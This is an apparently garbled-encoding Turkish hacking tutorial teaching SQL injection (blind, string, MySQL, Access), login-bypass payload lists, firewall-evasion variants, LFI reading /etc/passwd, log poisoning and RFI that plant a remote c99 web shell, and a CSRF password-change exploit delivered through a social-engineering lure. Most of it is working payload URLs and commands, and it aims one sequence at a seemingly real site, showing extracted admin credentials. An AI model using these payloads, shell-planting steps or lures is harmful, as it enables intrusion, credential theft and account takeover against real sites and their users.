Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 26: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

